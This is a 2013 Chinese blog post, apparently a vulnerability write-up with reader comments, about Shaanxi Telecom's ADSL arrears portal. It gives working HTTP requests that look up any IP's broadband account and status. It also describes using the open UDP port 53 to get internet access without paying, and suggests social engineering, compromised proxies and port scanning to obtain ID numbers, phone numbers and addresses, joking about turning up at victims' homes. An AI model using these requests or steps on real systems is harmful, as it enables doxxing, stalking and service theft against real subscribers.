标题:

中国电信ADSL宽带信息泄露+欠费照样上网,可查任意IP对应的宽带账号、电话号码、身份证、户口本,上门砍人。

标题纯属娱乐……

家里宽带有一段时间没用了,打开一开,你妹的,跳到欠费页面,好吧,既然上不了网,就研究一下电信ADSL宽带在欠费情况下会出现什么状况……

花了点时间分析了下,于是这篇文章就出来了(此处针对的是陕西电信,其他省市应该雷同)。

电信有线宽带欠费状态:

1、拦截使用任何通讯,TCP、ICMP、UDP等协议只允许访问电信官网,例如:sn.189.cn,推测是基于IP过滤

2、但可以使用53端口的UDP通讯(DNS查询协议)。

3、不限制53端口UDP通讯的目标IP地址,例如:nslookup lcx.cc 8.8.8.8,所以可以使用udp代理绕过电信拦截,访问互联网。

4、任何访问80端口的数据(任何IP地址,除了电信官方网站,例如:sn.189.cn),将被强制重定向到“http://sn.189.cn/jsp/691error/queryTypes.jsp”(电信可以随时劫持任何通讯)。

5、可以无障碍访问电信官方网站,例如:sn.189.cn,其他域名将被重定向(参考:4)。

重定向后的流程:

1、首先访问691错误页面:

中国电信ADSL宽带信息泄露+欠费照样上网,可查任意IP对应的宽带账号、电话号码、身份证、户口本,上门砍人。

GET http://sn.189.cn/jsp/691error/queryTypes.jsp

提示:返回的数据中会存在一些有价值的信息,例如:

var ip = "113.*.*.193";

2、然后通过IP查询对应的宽带账号:

(呵呵,这证明电信会实时储存IP对应的用户信息,所以嘛,公安抓你很容易……)

POST /freeAccountLogin HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://sn.189.cn/jsp/691error/queryTypes.jsp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: sn.189.cn
Content-Length: 17
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ******

ip=113.*.*.193

返回数据:

HTTP/1.1 200 OK
Date: Sat, 13 Apr 2013 02:49:37 GMT
Content-Length: 40
Content-Type: text/json; charset=utf-8
P3P: CP=CAO PSA OUR
X-Powered-By: Servlet/2.5 JSP/2.1

{"account":"02900******","latnId":"290"}

提示:

GET方式也可以,例如:http://sn.189.cn/freeAccountLogin?ip=113.***.***.192

这里存在严重的信息泄露安全隐患:

我们可以修改参数为任意ip,查询任何人的宽带账号(提示:配合QQ显IP插件,你懂的),再进一步社工+渗透,可以得到姓名、身份证、住址、电话号码等绝密私人信息(我怎会告诉你:在电信官网密码找回或简单社工,而且很多是默认密码,直接进去,户口本就有了……),从而做到上门砍人,咳咳,扯远了……

你懂的……

中国电信ADSL宽带信息泄露+欠费照样上网,可查任意IP对应的宽带账号、电话号码、身份证、户口本,上门砍人。

亲,电话号码露出来了……

深入一下:

如果这里绑定了本机IP,只能查到自己IP对应的账号,那么我们该如何操作呢?

假设绑定了IP,仍旧还存在其他安全隐患,例如:在肉鸡上开代理(和很多年前刷钻一样,你懂的)、XSS,等其他手段都可以获取到这个信息,或者扫描陕西电信IP段存在的天然代理,例如6666端口,具体不解释,你懂的……

3、然后查询该宽带账号的信息:

POST /service/error/queryTypes.action HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://sn.189.cn/jsp/691error/queryTypes.jsp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Host: sn.189.cn
Content-Length: 29
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ******

loginName=02900******&latnId=290

(GET也可以:http://sn.189.cn/service/error/queryTypes.action?loginName=02900******&latnId=290)

提示:这里参数 loginName 没有限制,所以你可以查询任何宽带账号的状态……

返回数据:

HTTP/1.1 200 OK
Date: Sat, 13 Apr 2013 03:03:57 GMT
Content-Length: 11
P3P: CP=CAO PSA OUR
X-Powered-By: Servlet/2.5 JSP/2.1

{"msg":"1"}

中国电信ADSL宽带信息泄露+欠费照样上网,可查任意IP对应的宽带账号、电话号码、身份证、户口本,上门砍人。

msg参数对应的状态:

success:function(data) {
    if(data.msg=='0') {
        //该帐户当前属非正常状态,请您携带有效证件到营业厅办理或拨打10000号咨询。
        window.location.href="/jsp/691error/shutdown.jsp";
    }else if(data.msg=='1') {
        //您好,您的宽带已欠费!
        window.location.href="/jsp/691error/qryowemoney.jsp";
    }else if(data.msg=='3') {
        //请您拨打10000号,联系客服人员处理。
        window.location.href="/jsp/691error/otherTypes.jsp";
    }else if(data.msg=='4') {
        $("#error").show();
        $("#error").html('<h5>系统繁忙,请稍后再试!</h5>');
    }
}
error: function(json) {
    $("#error").show();
    $("#error").html("");
    $("#error").append("<h5>系统忙,请稍后再试!</h5>");
}

4、然后重定向页面到状态码对应的Url地址:

例如:

中国电信ADSL宽带信息泄露+欠费照样上网,可查任意IP对应的宽带账号、电话号码、身份证、户口本,上门砍人。

您好,您的宽带已欠费!

http://sn.189.cn/jsp/691error/qryowemoney.jsp

5、然后该干嘛干嘛去……

介于该漏洞的严重性,已提交给相关部门处理……

亲们请勿尝试任何非法活动,后果自负!!!

留言评论(旧系统):

佚名 @ 2013-04-13 14:50:25

貌似后果很严重~小心有敲门

本站回复:

纯属娱乐……

咖啡 @ 2013-04-13 16:15:39

修复了么

本站回复:

试试不就知道了

佚名 @ 2013-04-14 02:07:38

还没封啊~我也是西安的 用自己ip就能试出来 另外洞主你确定可以用udp代理?求详细 以后就不用交费啦~~宽带费好贵哦

本站回复:

可以使用udp 53端口代理,目前貌似没有此类现成软件,可能需要自己开发……

Ska @ 2013-04-14 09:02:49

围观下 转载了没问题吧

本站回复:

当心电信上门砍人……

佚名 @ 2013-04-14 11:51:49

貌似欠费后宽带连接是无法拨通的啊,如何打开网页被重定向?

本站回复:

少量的欠费是可以拨通的,但只能访问欠费页面和电信官网。大量欠费的话,线路直接给你停掉了……

佚名 @ 2013-04-14 14:38:32

小菜提问一下,核总用来发送、接收数据包用的是神马工具?

本站回复:

此文没有牵扯到自定义发包,所以没有用到工具,只用到浏览器……

佚名 @ 2013-04-14 19:28:07

核老大,我这是没费时只能上几个电信相关网站,不过可以nslookup的,怀疑是有IP白名单的,你说的那种udp代理怎么实现,在网上找不到有用的信息的,望请教下

本站回复:

很简单,使用 udp 53 端口通讯的代理软件,不过,估计没有现成的,可能需要自己开发或者修改现有软件。

宝鸡人 @ 2013-04-14 22:38:37

应该要电信部门给你保留端口吧。 我家的办理了宽带停机保号 然后有次蛋疼的用隔壁的账号试着登陆 竟然进去了。之后自己搞了好多宽带账号 刚开始几个小时换一个号,最后了忍不住 直接是一个号用几天。。。等回家了试试你的方法

本站回复:

少量的欠费是可以拨通的,大量欠费线路直接给你停掉了……

佚名 @ 2013-04-14 22:45:41

陕西的,哈哈!陕西可以随便拨的!比如你西安的,可以随便找个西安的号码来拨的

本站回复:

老账号可以随便拨,两年前新装宽带都是绑定线路。

日月 @ 2013-04-15 11:31:29

核总不是去浙江了么,又回陕西了

本站回复:

Yep... ╮(╯_╰)╭

L @ 2013-04-16 22:04:03

这个查询接口好像用不了了

本站回复:

亲测,依旧可用。不过,中国电信集团马上会修复。

核007 @ 2013-04-26 21:13:16

核总,发福利!!!

本站回复:

发啥?

佚名 @ 2013-05-28 16:29:39

表示这个查询只能查询当地的~ 不能够任意~ 因为各个地方的数据库貌似不是共享~ 表示手里有查询移动账号的api接口~ 所有的ip都有对应的账号 当然仅限于我的地区~ 也仅限于拨号登录~ 校园网和公司集团网走一个端口出去的不能查

本站回复:

文中已说过了,这是陕西电信的问题,其他地区、网络运营商并不通用,其他地区肯定也有类似情况,需要看情况对症下药。

佚名 @ 2013-05-31 18:26:29

膜拜一下

本站回复:

+1

佚名 @ 2013-05-31 18:27:33

膜拜一下

本站回复:

+1

路人甲 @ 2013-05-31 22:06:27

Hello, 看到这篇文章,有一丝兴奋啊。文中提到POST/GET。我知道GET方式就是直接在浏览器中输入URL就可以了。但是不知道POST方式是在哪里输入呢?求大神指点?

本站回复:

先学习下什么是http吧……

lalaluo @ 2013-10-12 23:05:42

这里有个唯一的问题,由于国企管理的混乱,电信库了不少电话号码,至少三分之一都是错的……

本站回复:

WTF……

佚名 @ 2015-07-25 11:38:43

然而并没有什么卵用

本站回复:

-_-!!!